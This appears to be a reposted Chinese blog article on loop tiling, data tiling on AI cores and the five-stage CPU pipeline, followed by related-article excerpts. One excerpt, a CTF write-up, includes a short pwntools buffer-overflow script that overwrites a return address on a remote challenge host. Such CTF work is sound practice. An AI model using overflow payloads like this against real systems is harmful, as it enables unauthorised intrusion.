Tiling与流水线技术小结

文章目录

  • Tiling技术
      • Loop Tiling
      • AI推理中的Tiling
    • 参考
  • 流水线技术
      • 指令周期
    • 参考

Tiling技术

Tiling(平铺)是一种将大的问题或数据集分解为较小的子问题或子数据集的技术,目的是提高数据局部性和缓存利用率,从而提升程序性能。
在CUDA编程中,Tiling常涉及利用共享内存和循环分块。共享内存可被一个线程块内的所有线程访问,可以减少全局内存访问次数,Tiling过将数据分割成小块并重复利用这些块中的数据来实现这一点,从而最大化了共享内存的效益;循环分块则将大循环分解为小循环,减少内存访问冲突,提高内存访问局部性。在 CPU 中,Tiling 用于优化矩阵乘法,将输入矩阵分成小块进行乘法运算,以减少内存访问次数,提高缓存命中率。

Loop Tiling

在这里插入图片描述

在该二重循环中,元素A[i]会在内层循环中被连续访问M次,元素B[j]则是每隔N个元素再次被访问。如果内部循环跨度比较大,即M数值比较大,当启动下一次外部循环时,之前访问过的B[j]已经移除缓存了。比如说,cache大小为10,N为5,M为12(大于cache的size即可),当i=1,j=10时,cache刚好存储了B[1]到B[10];当j=11时,由于cache中没有B[11],所以需要从内存中读入,同时按照最久未访问策略将B[1]移除缓存,但是当外层循环加一即i=2时,内层循环重新遍历,此时j=1,但是此时cache中并没有B[1],未命中,需要再次从内存中读入。这样A的未命中率就是N/cache_size,B的未命中率就是(NM)/cache_size。
按照这种访问策略,要想提供效率就是要提供cache的命中率。数据移出cache的策略是操作系统控制的,开发者角度可以修改的就是数据的遍历顺序以提升命中率从而提升计算效率,Loop Tiling的工作就在于此。
Tiling的作用就是解决数据未命中的问题。将数据分割成若干个块(tile),保证在下一次访问时数据还在cache中。一般的做法就是先从内层循环开始分割。原因上面也分析过了,外层循环动一下,内层循环要动一轮,如果先分外层循环,一次要遍历的数据还是很多,包含整个内部循环所涉及的数据。假设切分的大小为T,则之前的循环改写如下。为了保证遍历的正确性,此时内层循环需要放在最外层,但是这样会多次移动A,影响A的命中率。
此时A的未命中率为(M/T)N/cache_size,B的未命中率为M/T * T/cache_size,总的未命中率为MN/(Tcache_size) + M/cache_size。如果沿着外层循环切割,总的未命中率为MN/(T
cache_size) + N/cache_size,则实际的差别主要在于内外层循环的大小。
在这里插入图片描述

二维和更高纬度的计算分析过程类似。

AI推理中的Tiling

由于Ai core的Local Memory的存储容量无法完整的容纳下算子的输入与输出,因此需要先搬运一部分输入进行计算然后搬出,再搬运下一部分输入进行计算,直到得到完整的最终结果,这个数据切分、分块计算的过程称之为Tiling。根据算子的shape等信息来确定数据切分算法相关参数(比如每次搬运的块大小,以及总共循环多少次)的计算程序,称之为Tiling实现。**Tiling实现完成后,获取到的Tiling切分算法相关参数,会传递给kernel侧,用于指导并行数据的切分。**大致步骤可以分为1)宿主机端获取硬件信息,2)获取输入数据维度和类型信息,3)kernel侧解析tiling参数并执行。
切分可分为核间切分和核内切分两块内容。核间切分是将数据分配给NPU的多个Aicore;核内切分是将分配到某个核计算的数据进行分批处理。

参考

http://www.coreui.cn/news/411154.html
https://zhuanlan.zhihu.com/p/292539074
https://zhuanlan.zhihu.com/p/685761148

流水线技术

目前,并行技术主要分三种类别:多处理器、资源共享即cpu分时和时间重叠即流水线技术。流水线技术的特点是将整个过程分为若干个子过程(段,stage),每个子过程由一个专门的功能部件来实现。每个段的所用时间应该尽可能相等,其中耗时最长的就是流水线的瓶颈。每两个段之间会有一个缓冲寄存器叫做锁存器,用于在两个段之间传递数据,同时也起到隔离电路的作用。

指令周期

单周期处理机模型:一个周期完成一个指令(每个周期是等长的),指令长度可能不一样,会造成很大的浪费
多周期处理机模型:将一个指令的完成划分成若干个周期来实现
在这里插入图片描述

经典五段流水线
在这里插入图片描述

1)取指(IF)
从程序计数器PC中取出地址,从存储器中取出指令并放入指令寄存器IR中,PC指向下一条指令。
2)译码(ID)
对执行进行译码,从IR的寄存器地址访问通用寄存器组获取操作数。
3)执行(EX)
ALU对上个周期中准备好的操作数进行运算操作。
4)存储器访问(MEM)
load指令根据上一个周期计算出的有效地址从存储器中读出的相应的数据;store把指定的数据写入这个有效地址对应的存储单元。
5)写回(WB)
把结果写入通用寄存器组。对于ALU运算来说,这个结果来自ALU,而对于load指令来说,这个结果来自存储器。

参考

https://www.cnblogs.com/CorePower/p/CorePower.html
https://blog.csdn.net/weixin_40064300/article/details/124415855

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/884496.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣题目解析--罗马数字转整型

题目 罗马数字包含以下七种字符: I, V, X, L,C,D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 1000 例如&…

Pinia-状态管理

Pinia-状态管理 特点: 1. 轻量和模块化 Pinia 是一个轻量级的状态管理库,支持模块化管理,即可以将应用的状态分成多个 store 以实现更好的组织。使用 Pinia,可以定义多个 store,每个 store 都是一个独立的模块&#x…

openpnp - 在openpnp中单独测试相机

文章目录 openpnp - 在openpnp中单独测试相机概述笔记测试工装相机镜头顶部盖子到目标的距离END openpnp - 在openpnp中单独测试相机 概述 底部相机的位置不合适, 重新做了零件,准备先确定一下相机和吸嘴的距离是多少才合适。 如果在设备上直接实验,那…

网络模型——二层转发原理

网课地址:网络模型_二层转发原理(三)_哔哩哔哩_bilibili 一、路由交换 网络:用来信息通信,信息共享的平台。 网络节点(交换机,路由器,防火墙,AP)介质&#…

[watevrCTF 2019]Voting Machine 1-好久不见10

shiiftF12查找字符串,发现flag.text跟踪 from pwn import * i remote("node5.anna.nssctf.cn",22956) address 0x400807 payload ba*(0x28) p64(address) i.sendline(payload) i.interactive()

【Linux】从零开始使用多路转接IO --- select

碌碌无为,则余生太长; 欲有所为,则人生苦短。 --- 中岛敦 《山月记》--- 从零开始认识五种IO模型 1 前言2 认识多路转接select3 多路转接select等待连接4 完善代码5 总结 1 前言 上一篇文章我们讲解了五种IO模型的基本概念,并…

【Java SE 】String 类 详解!

🔥博客主页🔥:【 坊钰_CSDN博客 】 欢迎各位点赞👍评论✍收藏⭐ 1. String 的地位 在Java 编程中,字符串的使用是非常频繁的,而字符串的使用有离不开 String类 ,在开发和面试中String类也是非常…

2024 Rust现代实用教程Iterator迭代器

文章目录 一、迭代与循环1.循环2.迭代iteration3.区别 二、Intoiterator、Iterator和Iter之间的关系1.Intolterator2.Iterator Trait3. 源码中经常出现的iter 三、获取迭代器的三种方法iter(),iter_mut()和into_iter()1.iter()方法2.iter_mut()方法3.into_iter()方法---尽量写 …

VSCode进阶之路

VSCode进阶之路:从入门到高效率开发 🚀 Hey,朋友们好!还在为VSCode的海量功能感到眼花缭乱吗?咱们一起来解锁VSCode的超神技能吧! 开篇碎碎念 🎯 第一次用VSCode时,就像个闯入魔法世…

专业130+总400+武汉理工大学855信号与系统考研经验电子信息与通信工程,真题,大纲,参考书。

已经顺利读研一段时间,回顾一下考研还是历历在目。应群里学弟要求,回忆总结一下自己考研经历,希望对大家复习有帮助。总分400,专业课855信号与系统130(犯了低级错误,计算出现问题,大家专业好好准…

Self-Lengthen:阿里千问开源提升 LLM 长文本生成能力的训练框架

❤️ 如果你也关注大模型与 AI 的发展现状,且对大模型应用开发非常感兴趣,我会快速跟你分享最新的感兴趣的 AI 应用和热点信息,也会不定期分享自己的想法和开源实例,欢迎关注我哦! 🥦 微信公众号&#xff…

双向链表及如何使用GLib的GList实现双向链表

双向链表是一种比单向链表更为灵活的数据结构,与单向链表相比可以有更多的应用场景,本文讨论双向链表的基本概念及实现方法,并着重介绍使用GLib的GList实现单向链表的方法及步骤,本文给出了多个实际范例源代码,旨在帮助…

理解前端打包工具树摇优化:如何通过import,export静态分析移除未使用的代码

理解树摇优化:如何通过静态分析移除未使用的代码 在现代前端开发中,代码的体积和性能至关重要。随着应用程序日益复杂,优化打包过程、减少未使用代码的大小成为了一个迫切的需求。树摇优化(Tree Shaking)就是为了解决…

【rust实战】rust博客系统4_连接数据库及查询数据

问题 回答 解释如何连接数据库1.在Cargo.toml中添加 mysql 依赖项 mysql "21.0.0" 2.在src/db/db.rs中写连接数据库的代码 use mysql::*; use mysql::prelude::* pub fn init_pool() -> Result<Pool> { let url "mysql://root…

C++笔试题之实现一个定时器

一.定时器&#xff08;timer&#xff09;的需求 1.执行定时任务的时&#xff0c;主线程不阻塞&#xff0c;所以timer必须至少持有一个线程用于执行定时任务 2.考虑到timer线程资源的合理利用&#xff0c;一个timer需要能够管理多个定时任务&#xff0c;所以timer要支持增删任务…

计算从位置 x 到 y 的最少步数

问题描述 小F正在进行一个 AB 实验&#xff0c;需要从整数位置 x 移动到整数位置 y。每一步可以将当前位置增加或减少&#xff0c;且每步的增加或减少的值必须是连续的整数&#xff08;即每步的移动范围是上一步的 -1&#xff0c;0 或 1&#xff09;。首末两步的步长必须是 1。…

【Java笔记】1-JDK/JRE/JVM是个啥?

JDK、JRE、JVM可以说是入门必须了解的三个词汇 先说全称 JDK&#xff1a;Java Development Kit&#xff0c;Java开发工具包 JRE&#xff1a;Java Runtime Environment&#xff0c;Java运行环境 JVM&#xff1a;Java Virtual Machine&#xff0c;Java虚拟机 再说关系 JVM⊆J…

C++ 报错 first defined here XXXXX multiple definition of XXXX

这个报错是重定义 1、首先检查下是不是真的重定义了&#xff0c;检查下报错提示的函数&#xff0c;以及提示的路径位置 2、头文件被多次包含时&#xff0c;没有设置只包含一次 头文件用宏定义包含&#xff0c;注意宏定义别重复 #ifndef XXX_H #define XXX_H// 函数声明和定…

c语言-进位计数制

文章目录 一、进位计数制是什么&#xff1f;二、c语言1.二进制转十进制2.十进制转二进制 一、进位计数制是什么&#xff1f; 进位计数制简称进制&#xff0c;是人类用于计算数量的基本规则。 可使用数字符号的数目称为基数或底数&#xff0c;基数个数为n个&#xff0c;即可称n…

HTML 基础标签——结构化标签<html>、<head>、<body>

文章目录 1. <html> 标签2. <head> 标签3. <body> 标签4. <div> 标签5. <span> 标签小结 在 HTML 文档中&#xff0c;使用特定的结构标签可以有效地组织和管理网页内容。这些标签不仅有助于浏览器正确解析和渲染页面&#xff0c;还能提高网页的可…